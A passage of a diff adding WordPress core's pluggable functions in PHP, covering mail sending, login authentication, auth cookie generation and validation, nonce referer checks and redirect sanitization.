+		$phpmailer->isHTML( true );
+
+	// If we don't have a charset from the input headers
+	if ( !isset( $charset ) )
+		$charset = get_bloginfo( 'charset' );
+
+	// Set the content-type and charset
+
+	/**
+	 * Filters the default wp_mail() charset.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param string $charset Default email charset.
+	 */
+	$phpmailer->CharSet = apply_filters( 'wp_mail_charset', $charset );
+
+	// Set custom headers
+	if ( !empty( $headers ) ) {
+		foreach ( (array) $headers as $name => $content ) {
+			$phpmailer->addCustomHeader( sprintf( '%1$s: %2$s', $name, $content ) );
+		}
+
+		if ( false !== stripos( $content_type, 'multipart' ) && ! empty($boundary) )
+			$phpmailer->addCustomHeader( sprintf( "Content-Type: %s;\n\t boundary=\"%s\"", $content_type, $boundary ) );
+	}
+
+	if ( !empty( $attachments ) ) {
+		foreach ( $attachments as $attachment ) {
+			try {
+				$phpmailer->addAttachment($attachment);
+			} catch ( phpmailerException $e ) {
+				continue;
+			}
+		}
+	}
+
+	/**
+	 * Fires after PHPMailer is initialized.
+	 *
+	 * @since 2.2.0
+	 *
+	 * @param PHPMailer $phpmailer The PHPMailer instance (passed by reference).
+	 */
+	do_action_ref_array( 'phpmailer_init', array( &$phpmailer ) );
+
+	// Send!
+	try {
+		return $phpmailer->send();
+	} catch ( phpmailerException $e ) {
+
+		$mail_error_data = compact( 'to', 'subject', 'message', 'headers', 'attachments' );
+		$mail_error_data['phpmailer_exception_code'] = $e->getCode();
+
+		/**
+		 * Fires after a phpmailerException is caught.
+		 *
+		 * @since 4.4.0
+		 *
+		 * @param WP_Error $error A WP_Error object with the phpmailerException message, and an array
+		 *                        containing the mail recipient, subject, message, headers, and attachments.
+		 */
+		do_action( 'wp_mail_failed', new WP_Error( 'wp_mail_failed', $e->getMessage(), $mail_error_data ) );
+
+		return false;
+	}
+}
+endif;
+
+if ( !function_exists('wp_authenticate') ) :
+/**
+ * Authenticate a user, confirming the login credentials are valid.
+ *
+ * @since 2.5.0
+ * @since 4.5.0 `$username` now accepts an email address.
+ *
+ * @param string $username User's username or email address.
+ * @param string $password User's password.
+ * @return WP_User|WP_Error WP_User object if the credentials are valid,
+ *                          otherwise WP_Error.
+ */
+function wp_authenticate($username, $password) {
+	$username = sanitize_user($username);
+	$password = trim($password);
+
+	/**
+	 * Filters whether a set of user login credentials are valid.
+	 *
+	 * A WP_User object is returned if the credentials authenticate a user.
+	 * WP_Error or null otherwise.
+	 *
+	 * @since 2.8.0
+	 * @since 4.5.0 `$username` now accepts an email address.
+	 *
+	 * @param null|WP_User|WP_Error $user     WP_User if the user is authenticated.
+	 *                                        WP_Error or null otherwise.
+	 * @param string                $username Username or email address.
+	 * @param string                $password User password
+	 */
+	$user = apply_filters( 'authenticate', null, $username, $password );
+
+	if ( $user == null ) {
+		// TODO what should the error message be? (Or would these even happen?)
+		// Only needed if all authentication handlers fail to return anything.
+		$user = new WP_Error( 'authentication_failed', __( '<strong>ERROR</strong>: Invalid username, email address or incorrect password.' ) );
+	}
+
+	$ignore_codes = array('empty_username', 'empty_password');
+
+	if (is_wp_error($user) && !in_array($user->get_error_code(), $ignore_codes) ) {
+		/**
+		 * Fires after a user login has failed.
+		 *
+		 * @since 2.5.0
+		 * @since 4.5.0 The value of `$username` can now be an email address.
+		 *
+		 * @param string $username Username or email address.
+		 */
+		do_action( 'wp_login_failed', $username );
+	}
+
+	return $user;
+}
+endif;
+
+if ( !function_exists('wp_logout') ) :
+/**
+ * Log the current user out.
+ *
+ * @since 2.5.0
+ */
+function wp_logout() {
+	wp_destroy_current_session();
+	wp_clear_auth_cookie();
+
+	/**
+	 * Fires after a user is logged-out.
+	 *
+	 * @since 1.5.0
+	 */
+	do_action( 'wp_logout' );
+}
+endif;
+
+if ( !function_exists('wp_validate_auth_cookie') ) :
+/**
+ * Validates authentication cookie.
+ *
+ * The checks include making sure that the authentication cookie is set and
+ * pulling in the contents (if $cookie is not used).
+ *
+ * Makes sure the cookie is not expired. Verifies the hash in cookie is what is
+ * should be and compares the two.
+ *
+ * @since 2.5.0
+ *
+ * @global int $login_grace_period
+ *
+ * @param string $cookie Optional. If used, will validate contents instead of cookie's
+ * @param string $scheme Optional. The cookie scheme to use: auth, secure_auth, or logged_in
+ * @return false|int False if invalid cookie, User ID if valid.
+ */
+function wp_validate_auth_cookie($cookie = '', $scheme = '') {
+	if ( ! $cookie_elements = wp_parse_auth_cookie($cookie, $scheme) ) {
+		/**
+		 * Fires if an authentication cookie is malformed.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param string $cookie Malformed auth cookie.
+		 * @param string $scheme Authentication scheme. Values include 'auth', 'secure_auth',
+		 *                       or 'logged_in'.
+		 */
+		do_action( 'auth_cookie_malformed', $cookie, $scheme );
+		return false;
+	}
+
+	$scheme = $cookie_elements['scheme'];
+	$username = $cookie_elements['username'];
+	$hmac = $cookie_elements['hmac'];
+	$token = $cookie_elements['token'];
+	$expired = $expiration = $cookie_elements['expiration'];
+
+	// Allow a grace period for POST and Ajax requests
+	if ( wp_doing_ajax() || 'POST' == $_SERVER['REQUEST_METHOD'] ) {
+		$expired += HOUR_IN_SECONDS;
+	}
+
+	// Quick check to see if an honest cookie has expired
+	if ( $expired < time() ) {
+		/**
+		 * Fires once an authentication cookie has expired.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array $cookie_elements An array of data for the authentication cookie.
+		 */
+		do_action( 'auth_cookie_expired', $cookie_elements );
+		return false;
+	}
+
+	$user = get_user_by('login', $username);
+	if ( ! $user ) {
+		/**
+		 * Fires if a bad username is entered in the user authentication process.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array $cookie_elements An array of data for the authentication cookie.
+		 */
+		do_action( 'auth_cookie_bad_username', $cookie_elements );
+		return false;
+	}
+
+	$pass_frag = substr($user->user_pass, 8, 4);
+
+	$key = wp_hash( $username . '|' . $pass_frag . '|' . $expiration . '|' . $token, $scheme );
+
+	// If ext/hash is not present, compat.php's hash_hmac() does not support sha256.
+	$algo = function_exists( 'hash' ) ? 'sha256' : 'sha1';
+	$hash = hash_hmac( $algo, $username . '|' . $expiration . '|' . $token, $key );
+
+	if ( ! hash_equals( $hash, $hmac ) ) {
+		/**
+		 * Fires if a bad authentication cookie hash is encountered.
+		 *
+		 * @since 2.7.0
+		 *
+		 * @param array $cookie_elements An array of data for the authentication cookie.
+		 */
+		do_action( 'auth_cookie_bad_hash', $cookie_elements );
+		return false;
+	}
+
+	$manager = WP_Session_Tokens::get_instance( $user->ID );
+	if ( ! $manager->verify( $token ) ) {
+		do_action( 'auth_cookie_bad_session_token', $cookie_elements );
+		return false;
+	}
+
+	// Ajax/POST grace period set above
+	if ( $expiration < time() ) {
+		$GLOBALS['login_grace_period'] = 1;
+	}
+
+	/**
+	 * Fires once an authentication cookie has been validated.
+	 *
+	 * @since 2.7.0
+	 *
+	 * @param array   $cookie_elements An array of data for the authentication cookie.
+	 * @param WP_User $user            User object.
+	 */
+	do_action( 'auth_cookie_valid', $cookie_elements, $user );
+
+	return $user->ID;
+}
+endif;
+
+if ( !function_exists('wp_generate_auth_cookie') ) :
+/**
+ * Generate authentication cookie contents.
+ *
+ * @since 2.5.0
+ * @since 4.0.0 The `$token` parameter was added.
+ *
+ * @param int    $user_id    User ID
+ * @param int    $expiration The time the cookie expires as a UNIX timestamp.
+ * @param string $scheme     Optional. The cookie scheme to use: auth, secure_auth, or logged_in
+ * @param string $token      User's session token to use for this cookie
+ * @return string Authentication cookie contents. Empty string if user does not exist.
+ */
+function wp_generate_auth_cookie( $user_id, $expiration, $scheme = 'auth', $token = '' ) {
+	$user = get_userdata($user_id);
+	if ( ! $user ) {
+		return '';
+	}
+
+	if ( ! $token ) {
+		$manager = WP_Session_Tokens::get_instance( $user_id );
+		$token = $manager->create( $expiration );
+	}
+
+	$pass_frag = substr($user->user_pass, 8, 4);
+
+	$key = wp_hash( $user->user_login . '|' . $pass_frag . '|' . $expiration . '|' . $token, $scheme );
+
+	// If ext/hash is not present, compat.php's hash_hmac() does not support sha256.
+	$algo = function_exists( 'hash' ) ? 'sha256' : 'sha1';
+	$hash = hash_hmac( $algo, $user->user_login . '|' . $expiration . '|' . $token, $key );
+
+	$cookie = $user->user_login . '|' . $expiration . '|' . $token . '|' . $hash;
+
+	/**
+	 * Filters the authentication cookie.
+	 *
+	 * @since 2.5.0
+	 * @since 4.0.0 The `$token` parameter was added.
+	 *
+	 * @param string $cookie     Authentication cookie.
+	 * @param int    $user_id    User ID.
+	 * @param int    $expiration The time the cookie expires as a UNIX timestamp.
+	 * @param string $scheme     Cookie scheme used. Accepts 'auth', 'secure_auth', or 'logged_in'.
+	 * @param string $token      User's session token used.
+	 */
+	return apply_filters( 'auth_cookie', $cookie, $user_id, $expiration, $scheme, $token );
+}
+endif;
+
+if ( !function_exists('wp_parse_auth_cookie') ) :
+/**
+ * Parse a cookie into its components
+ *
+ * @since 2.7.0
+ *
+ * @param string $cookie
+ * @param string $scheme Optional. The cookie scheme to use: auth, secure_auth, or logged_in
+ * @return array|false Authentication cookie components
+ */
+function wp_parse_auth_cookie($cookie = '', $scheme = '') {
+	if ( empty($cookie) ) {
+		switch ($scheme){
+			case 'auth':
+				$cookie_name = AUTH_COOKIE;
+				break;
+			case 'secure_auth':
+				$cookie_name = SECURE_AUTH_COOKIE;
+				break;
+			case "logged_in":
+				$cookie_name = LOGGED_IN_COOKIE;
+				break;
+			default:
+				if ( is_ssl() ) {
+					$cookie_name = SECURE_AUTH_COOKIE;
+					$scheme = 'secure_auth';
+				} else {
+					$cookie_name = AUTH_COOKIE;
+					$scheme = 'auth';
+				}
+	    }
+
+		if ( empty($_COOKIE[$cookie_name]) )
+			return false;
+		$cookie = $_COOKIE[$cookie_name];
+	}
+
+	$cookie_elements = explode('|', $cookie);
+	if ( count( $cookie_elements ) !== 4 ) {
+		return false;
+	}
+
+	list( $username, $expiration, $token, $hmac ) = $cookie_elements;
+
+	return compact( 'username', 'expiration', 'token', 'hmac', 'scheme' );
+}
+endif;
+
+if ( !function_exists('wp_set_auth_cookie') ) :
+/**
+ * Log in a user by setting authentication cookies.
+ *
+ * The $remember parameter increases the time that the cookie will be kept. The
+ * default the cookie is kept without remembering is two days. When $remember is
+ * set, the cookies will be kept for 14 days or two weeks.
+ *
+ * @since 2.5.0
+ * @since 4.3.0 Added the `$token` parameter.
+ *
+ * @param int    $user_id  User ID
+ * @param bool   $remember Whether to remember the user
+ * @param mixed  $secure   Whether the admin cookies should only be sent over HTTPS.
+ *                         Default is_ssl().
+ * @param string $token    Optional. User's session token to use for this cookie.
+ */
+function wp_set_auth_cookie( $user_id, $remember = false, $secure = '', $token = '' ) {
+	if ( $remember ) {
+		/**
+		 * Filters the duration of the authentication cookie expiration period.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param int  $length   Duration of the expiration period in seconds.
+		 * @param int  $user_id  User ID.
+		 * @param bool $remember Whether to remember the user login. Default false.
+		 */
+		$expiration = time() + apply_filters( 'auth_cookie_expiration', 14 * DAY_IN_SECONDS, $user_id, $remember );
+
+		/*
+		 * Ensure the browser will continue to send the cookie after the expiration time is reached.
+		 * Needed for the login grace period in wp_validate_auth_cookie().
+		 */
+		$expire = $expiration + ( 12 * HOUR_IN_SECONDS );
+	} else {
+		/** This filter is documented in wp-includes/pluggable.php */
+		$expiration = time() + apply_filters( 'auth_cookie_expiration', 2 * DAY_IN_SECONDS, $user_id, $remember );
+		$expire = 0;
+	}
+
+	if ( '' === $secure ) {
+		$secure = is_ssl();
+	}
+
+	// Front-end cookie is secure when the auth cookie is secure and the site's home URL is forced HTTPS.
+	$secure_logged_in_cookie = $secure && 'https' === parse_url( get_option( 'home' ), PHP_URL_SCHEME );
+
+	/**
+	 * Filters whether the connection is secure.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool $secure  Whether the connection is secure.
+	 * @param int  $user_id User ID.
+	 */
+	$secure = apply_filters( 'secure_auth_cookie', $secure, $user_id );
+
+	/**
+	 * Filters whether to use a secure cookie when logged-in.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool $secure_logged_in_cookie Whether to use a secure cookie when logged-in.
+	 * @param int  $user_id                 User ID.
+	 * @param bool $secure                  Whether the connection is secure.
+	 */
+	$secure_logged_in_cookie = apply_filters( 'secure_logged_in_cookie', $secure_logged_in_cookie, $user_id, $secure );
+
+	if ( $secure ) {
+		$auth_cookie_name = SECURE_AUTH_COOKIE;
+		$scheme = 'secure_auth';
+	} else {
+		$auth_cookie_name = AUTH_COOKIE;
+		$scheme = 'auth';
+	}
+
+	if ( '' === $token ) {
+		$manager = WP_Session_Tokens::get_instance( $user_id );
+		$token   = $manager->create( $expiration );
+	}
+
+	$auth_cookie = wp_generate_auth_cookie( $user_id, $expiration, $scheme, $token );
+	$logged_in_cookie = wp_generate_auth_cookie( $user_id, $expiration, 'logged_in', $token );
+
+	/**
+	 * Fires immediately before the authentication cookie is set.
+	 *
+	 * @since 2.5.0
+	 * @since 4.9.0 The `$token` parameter was added.
+	 *
+	 * @param string $auth_cookie Authentication cookie.
+	 * @param int    $expire      The time the login grace period expires as a UNIX timestamp.
+	 *                            Default is 12 hours past the cookie's expiration time.
+	 * @param int    $expiration  The time when the authentication cookie expires as a UNIX timestamp.
+	 *                            Default is 14 days from now.
+	 * @param int    $user_id     User ID.
+	 * @param string $scheme      Authentication scheme. Values include 'auth', 'secure_auth', or 'logged_in'.
+	 * @param string $token       User's session token to use for this cookie.
+	 */
+	do_action( 'set_auth_cookie', $auth_cookie, $expire, $expiration, $user_id, $scheme, $token );
+
+	/**
+	 * Fires immediately before the logged-in authentication cookie is set.
+	 *
+	 * @since 2.6.0
+	 * @since 4.9.0 The `$token` parameter was added.
+	 *
+	 * @param string $logged_in_cookie The logged-in cookie.
+	 * @param int    $expire           The time the login grace period expires as a UNIX timestamp.
+	 *                                 Default is 12 hours past the cookie's expiration time.
+	 * @param int    $expiration       The time when the logged-in authentication cookie expires as a UNIX timestamp.
+	 *                                 Default is 14 days from now.
+	 * @param int    $user_id          User ID.
+	 * @param string $scheme           Authentication scheme. Default 'logged_in'.
+	 * @param string $token            User's session token to use for this cookie.
+	 */
+	do_action( 'set_logged_in_cookie', $logged_in_cookie, $expire, $expiration, $user_id, 'logged_in', $token );
+
+	/**
+	 * Allows preventing auth cookies from actually being sent to the client.
+	 *
+	 * @since 4.7.4
+	 *
+	 * @param bool $send Whether to send auth cookies to the client.
+	 */
+	if ( ! apply_filters( 'send_auth_cookies', true ) ) {
+		return;
+	}
+
+	setcookie($auth_cookie_name, $auth_cookie, $expire, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN, $secure, true);
+	setcookie($auth_cookie_name, $auth_cookie, $expire, ADMIN_COOKIE_PATH, COOKIE_DOMAIN, $secure, true);
+	setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, COOKIEPATH, COOKIE_DOMAIN, $secure_logged_in_cookie, true);
+	if ( COOKIEPATH != SITECOOKIEPATH )
+		setcookie(LOGGED_IN_COOKIE, $logged_in_cookie, $expire, SITECOOKIEPATH, COOKIE_DOMAIN, $secure_logged_in_cookie, true);
+}
+endif;
+
+if ( !function_exists('wp_clear_auth_cookie') ) :
+/**
+ * Removes all of the cookies associated with authentication.
+ *
+ * @since 2.5.0
+ */
+function wp_clear_auth_cookie() {
+	/**
+	 * Fires just before the authentication cookies are cleared.
+	 *
+	 * @since 2.7.0
+	 */
+	do_action( 'clear_auth_cookie' );
+
+	/** This filter is documented in wp-includes/pluggable.php */
+	if ( ! apply_filters( 'send_auth_cookies', true ) ) {
+		return;
+	}
+
+	// Auth cookies
+	setcookie( AUTH_COOKIE,        ' ', time() - YEAR_IN_SECONDS, ADMIN_COOKIE_PATH,   COOKIE_DOMAIN );
+	setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, ADMIN_COOKIE_PATH,   COOKIE_DOMAIN );
+	setcookie( AUTH_COOKIE,        ' ', time() - YEAR_IN_SECONDS, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN );
+	setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, PLUGINS_COOKIE_PATH, COOKIE_DOMAIN );
+	setcookie( LOGGED_IN_COOKIE,   ' ', time() - YEAR_IN_SECONDS, COOKIEPATH,          COOKIE_DOMAIN );
+	setcookie( LOGGED_IN_COOKIE,   ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH,      COOKIE_DOMAIN );
+
+	// Settings cookies
+	setcookie( 'wp-settings-' . get_current_user_id(),      ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH );
+	setcookie( 'wp-settings-time-' . get_current_user_id(), ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH );
+
+	// Old cookies
+	setcookie( AUTH_COOKIE,        ' ', time() - YEAR_IN_SECONDS, COOKIEPATH,     COOKIE_DOMAIN );
+	setcookie( AUTH_COOKIE,        ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
+	setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH,     COOKIE_DOMAIN );
+	setcookie( SECURE_AUTH_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
+
+	// Even older cookies
+	setcookie( USER_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH,     COOKIE_DOMAIN );
+	setcookie( PASS_COOKIE, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH,     COOKIE_DOMAIN );
+	setcookie( USER_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
+	setcookie( PASS_COOKIE, ' ', time() - YEAR_IN_SECONDS, SITECOOKIEPATH, COOKIE_DOMAIN );
+
+	// Post password cookie
+	setcookie( 'wp-postpass_' . COOKIEHASH, ' ', time() - YEAR_IN_SECONDS, COOKIEPATH, COOKIE_DOMAIN );
+}
+endif;
+
+if ( !function_exists('is_user_logged_in') ) :
+/**
+ * Determines whether the current visitor is a logged in user.
+ *
+ * For more information on this and similar theme functions, check out
+ * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
+ * Conditional Tags} article in the Theme Developer Handbook.
+ *
+ * @since 2.0.0
+ *
+ * @return bool True if user is logged in, false if not logged in.
+ */
+function is_user_logged_in() {
+	$user = wp_get_current_user();
+
+	return $user->exists();
+}
+endif;
+
+if ( !function_exists('auth_redirect') ) :
+/**
+ * Checks if a user is logged in, if not it redirects them to the login page.
+ *
+ * @since 1.5.0
+ */
+function auth_redirect() {
+	// Checks if a user is logged in, if not redirects them to the login page
+
+	$secure = ( is_ssl() || force_ssl_admin() );
+
+	/**
+	 * Filters whether to use a secure authentication redirect.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool $secure Whether to use a secure authentication redirect. Default false.
+	 */
+	$secure = apply_filters( 'secure_auth_redirect', $secure );
+
+	// If https is required and request is http, redirect
+	if ( $secure && !is_ssl() && false !== strpos($_SERVER['REQUEST_URI'], 'wp-admin') ) {
+		if ( 0 === strpos( $_SERVER['REQUEST_URI'], 'http' ) ) {
+			wp_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) );
+			exit();
+		} else {
+			wp_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
+			exit();
+		}
+	}
+
+	/**
+	 * Filters the authentication redirect scheme.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $scheme Authentication redirect scheme. Default empty.
+	 */
+	$scheme = apply_filters( 'auth_redirect_scheme', '' );
+
+	if ( $user_id = wp_validate_auth_cookie( '',  $scheme) ) {
+		/**
+		 * Fires before the authentication redirect.
+		 *
+		 * @since 2.8.0
+		 *
+		 * @param int $user_id User ID.
+		 */
+		do_action( 'auth_redirect', $user_id );
+
+		// If the user wants ssl but the session is not ssl, redirect.
+		if ( !$secure && get_user_option('use_ssl', $user_id) && false !== strpos($_SERVER['REQUEST_URI'], 'wp-admin') ) {
+			if ( 0 === strpos( $_SERVER['REQUEST_URI'], 'http' ) ) {
+				wp_redirect( set_url_scheme( $_SERVER['REQUEST_URI'], 'https' ) );
+				exit();
+			} else {
+				wp_redirect( 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
+				exit();
+			}
+		}
+
+		return;  // The cookie is good so we're done
+	}
+
+	// The cookie is no good so force login
+	nocache_headers();
+
+	$redirect = ( strpos( $_SERVER['REQUEST_URI'], '/options.php' ) && wp_get_referer() ) ? wp_get_referer() : set_url_scheme( 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
+
+	$login_url = wp_login_url($redirect, true);
+
+	wp_redirect($login_url);
+	exit();
+}
+endif;
+
+if ( !function_exists('check_admin_referer') ) :
+/**
+ * Makes sure that a user was referred from another admin page.
+ *
+ * To avoid security exploits.
+ *
+ * @since 1.2.0
+ *
+ * @param int|string $action    Action nonce.
+ * @param string     $query_arg Optional. Key to check for nonce in `$_REQUEST` (since 2.5).
+ *                              Default '_wpnonce'.
+ * @return false|int False if the nonce is invalid, 1 if the nonce is valid and generated between
+ *                   0-12 hours ago, 2 if the nonce is valid and generated between 12-24 hours ago.
+ */
+function check_admin_referer( $action = -1, $query_arg = '_wpnonce' ) {
+	if ( -1 === $action )
+		_doing_it_wrong( __FUNCTION__, __( 'You should specify a nonce action to be verified by using the first parameter.' ), '3.2.0' );
+
+	$adminurl = strtolower(admin_url());
+	$referer = strtolower(wp_get_referer());
+	$result = isset($_REQUEST[$query_arg]) ? wp_verify_nonce($_REQUEST[$query_arg], $action) : false;
+
+	/**
+	 * Fires once the admin request has been validated or not.
+	 *
+	 * @since 1.5.1
+	 *
+	 * @param string    $action The nonce action.
+	 * @param false|int $result False if the nonce is invalid, 1 if the nonce is valid and generated between
+	 *                          0-12 hours ago, 2 if the nonce is valid and generated between 12-24 hours ago.
+	 */
+	do_action( 'check_admin_referer', $action, $result );
+
+	if ( ! $result && ! ( -1 === $action && strpos( $referer, $adminurl ) === 0 ) ) {
+		wp_nonce_ays( $action );
+		die();
+	}
+
+	return $result;
+}
+endif;
+
+if ( !function_exists('check_ajax_referer') ) :
+/**
+ * Verifies the Ajax request to prevent processing requests external of the blog.
+ *
+ * @since 2.0.3
+ *
+ * @param int|string   $action    Action nonce.
+ * @param false|string $query_arg Optional. Key to check for the nonce in `$_REQUEST` (since 2.5). If false,
+ *                                `$_REQUEST` values will be evaluated for '_ajax_nonce', and '_wpnonce'
+ *                                (in that order). Default false.
+ * @param bool         $die       Optional. Whether to die early when the nonce cannot be verified.
+ *                                Default true.
+ * @return false|int False if the nonce is invalid, 1 if the nonce is valid and generated between
+ *                   0-12 hours ago, 2 if the nonce is valid and generated between 12-24 hours ago.
+ */
+function check_ajax_referer( $action = -1, $query_arg = false, $die = true ) {
+	if ( -1 == $action ) {
+		_doing_it_wrong( __FUNCTION__, __( 'You should specify a nonce action to be verified by using the first parameter.' ), '4.7' );
+	}
+
+	$nonce = '';
+
+	if ( $query_arg && isset( $_REQUEST[ $query_arg ] ) )
+		$nonce = $_REQUEST[ $query_arg ];
+	elseif ( isset( $_REQUEST['_ajax_nonce'] ) )
+		$nonce = $_REQUEST['_ajax_nonce'];
+	elseif ( isset( $_REQUEST['_wpnonce'] ) )
+		$nonce = $_REQUEST['_wpnonce'];
+
+	$result = wp_verify_nonce( $nonce, $action );
+
+	/**
+	 * Fires once the Ajax request has been validated or not.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string    $action The Ajax nonce action.
+	 * @param false|int $result False if the nonce is invalid, 1 if the nonce is valid and generated between
+	 *                          0-12 hours ago, 2 if the nonce is valid and generated between 12-24 hours ago.
+	 */
+	do_action( 'check_ajax_referer', $action, $result );
+
+	if ( $die && false === $result ) {
+		if ( wp_doing_ajax() ) {
+			wp_die( -1, 403 );
+		} else {
+			die( '-1' );
+		}
+	}
+
+	return $result;
+}
+endif;
+
+if ( !function_exists('wp_redirect') ) :
+/**
+ * Redirects to another page.
+ *
+ * Note: wp_redirect() does not exit automatically, and should almost always be
+ * followed by a call to `exit;`:
+ *
+ *     wp_redirect( $url );
+ *     exit;
+ *
+ * Exiting can also be selectively manipulated by using wp_redirect() as a conditional
+ * in conjunction with the {@see 'wp_redirect'} and {@see 'wp_redirect_location'} hooks:
+ *
+ *     if ( wp_redirect( $url ) ) {
+ *         exit;
+ *     }
+ *
+ * @since 1.5.1
+ *
+ * @global bool $is_IIS
+ *
+ * @param string $location The path to redirect to.
+ * @param int    $status   Status code to use.
+ * @return bool False if $location is not provided, true otherwise.
+ */
+function wp_redirect($location, $status = 302) {
+	global $is_IIS;
+
+	/**
+	 * Filters the redirect location.
+	 *
+	 * @since 2.1.0
+	 *
+	 * @param string $location The path to redirect to.
+	 * @param int    $status   Status code to use.
+	 */
+	$location = apply_filters( 'wp_redirect', $location, $status );
+
+	/**
+	 * Filters the redirect status code.
+	 *
+	 * @since 2.3.0
+	 *
+	 * @param int    $status   Status code to use.
+	 * @param string $location The path to redirect to.
+	 */
+	$status = apply_filters( 'wp_redirect_status', $status, $location );
+
+	if ( ! $location )
+		return false;
+
+	$location = wp_sanitize_redirect($location);
+
+	if ( !$is_IIS && PHP_SAPI != 'cgi-fcgi' )
+		status_header($status); // This causes problems on IIS and some FastCGI setups
+
+	header("Location: $location", true, $status);
+
+	return true;
+}
+endif;
+
+if ( !function_exists('wp_sanitize_redirect') ) :
+/**
+ * Sanitizes a URL for use in a redirect.
+ *
+ * @since 2.3.0
+ *
+ * @param string $location The path to redirect to.
+ * @return string Redirect-sanitized URL.
+ **/
+function wp_sanitize_redirect($location) {
+	$regex = '/
+		(
+			(?: [\xC2-\xDF][\x80-\xBF]        # double-byte sequences   110xxxxx 10xxxxxx
+			|   \xE0[\xA0-\xBF][\x80-\xBF]    # triple-byte sequences   1110xxxx 10xxxxxx * 2
+			|   [\xE1-\xEC][\x80-\xBF]{2}
+			|   \xED[\x80-\x9F][\x80-\xBF]
+			|   [\xEE-\xEF][\x80-\xBF]{2}
+			|   \xF0[\x90-\xBF][\x80-\xBF]{2} # four-byte sequences   11110xxx 10xxxxxx * 3
+			|   [\xF1-\xF3][\x80-\xBF]{3}
+			|   \xF4[\x80-\x8F][\x80-\xBF]{2}
+		){1,40}                              # ...one or more times
+		)/x';
+	$location = preg_replace_callback( $regex, '_wp_sanitize_utf8_in_redirect', $location );
+	$location = preg_replace('|[^a-z0-9-~+_.?#=&;,/:%!*\[\]()@]|i', '', $location);
+	$location = wp_kses_no_null($location);
+
+	// remove %0d and %0a from location
+	$strip = array('%0d', '%0a', '%0D', '%0A');
+	return _deep_replace( $strip, $location );
+}
+
+/**
+ * URL encode UTF-8 characters in a URL.
+ *
+ * @ignore
+ * @since 4.2.0
+ * @access private
+ *
+ * @see wp_sanitize_redirect()
+ *
+ * @param array $matches RegEx matches against the redirect location.
+ * @return string URL-encoded version of the first RegEx match.
+ */
+function _wp_sanitize_utf8_in_redirect( $matches ) {
+	return urlencode( $matches[0] );
+}
+endif;
+
+if ( !function_exists('wp_safe_redirect') ) :
+/**
+ * Performs a safe (local) redirect, using wp_redirect().
+ *
+ * Checks whether the $location is using an allowed host, if it has an absolute
+ * path. A plugin can therefore set or remove allowed host(s) to or from the
+ * list.
+ *
+ * If the host is not allowed, then the redirect defaults to wp-admin on the siteurl
+ * instead. This prevents malicious redirects which redirect to another host,
+ * but only used in a few places.
+ *
+ * @since 2.3.0
+ *
+ * @param string $location The path to redirect to.
+ * @param int    $status   Status code to use.
+ */
+function wp_safe_redirect($location, $status = 302) {
+
+	// Need to look at the URL the way it will end up in wp_redirect()
+	$location = wp_sanitize_redirect($location);
+
+	/**
+	 * Filters the redirect fallback URL for when the provided redirect is not safe (local).
+	 *
+	 * @since 4.3.0
+	 *
+	 * @param string $fallback_url The fallback URL to use by default.
+	 * @param int    $status       The redirect status.
+	 */
+	$location = wp_validate_redirect( $location, apply_filters( 'wp_safe_redirect_fallback', admin_url(), $status ) );
+
+	wp_redirect($location, $status);
+}
+endif;
+
+if ( !function_exists('wp_validate_redirect') ) :
+/**
+ * Validates a URL for use in a redirect.
+ *
+ * Checks whether the $location is using an allowed host, if it has an absolute
+ * path. A plugin can therefore set or remove allowed host(s) to or from the
+ * list.
+ *
+ * If the host is not allowed, then the redirect is to $default supplied
+ *
+ * @since 2.8.1
+ *
+ * @param string $location The redirect to validate
+ * @param string $default  The value to return if $location is not allowed
+ * @return string redirect-sanitized URL
+ **/
+function wp_validate_redirect($location, $default = '') {
+	$location = wp_sanitize_redirect( trim( $location, " \t\n\r\0\x08\x0B" ) );
+	// browsers will assume 'http' is your protocol, and will obey a redirect to a URL starting with '//'
+	if ( substr($location, 0, 2) == '//' )
+		$location = 'http:' . $location;
+
+	// In php 5 parse_url may fail if the URL query part contains http://, bug #38143
+	$test = ( $cut = strpos($location, '?') ) ? substr( $location, 0, $cut ) : $location;
+
+	// @-operator is used to prevent possible warnings in PHP < 5.3.3.
+	$lp = @parse_url($test);
+
+	// Give up if malformed URL
+	if ( false === $lp )
+		return $default;
+
+	// Allow only http and https schemes. No data:, etc.
+	if ( isset($lp['scheme']) && !('http' == $lp['scheme'] || 'https' == $lp['scheme']) )
+		return $default;
+
+	if ( ! isset( $lp['host'] ) && ! empty( $lp['path'] ) && '/' !== $lp['path'][0] ) {
+		$path = '';
+		if ( ! empty( $_SERVER['REQUEST_URI'] ) ) {
+			$path = dirname( parse_url( 'http://placeholder' . $_SERVER['REQUEST_URI'], PHP_URL_PATH ) . '?' );
+		}
+		$location = '/' . ltrim( $path . '/', '/' ) . $location;
+	}
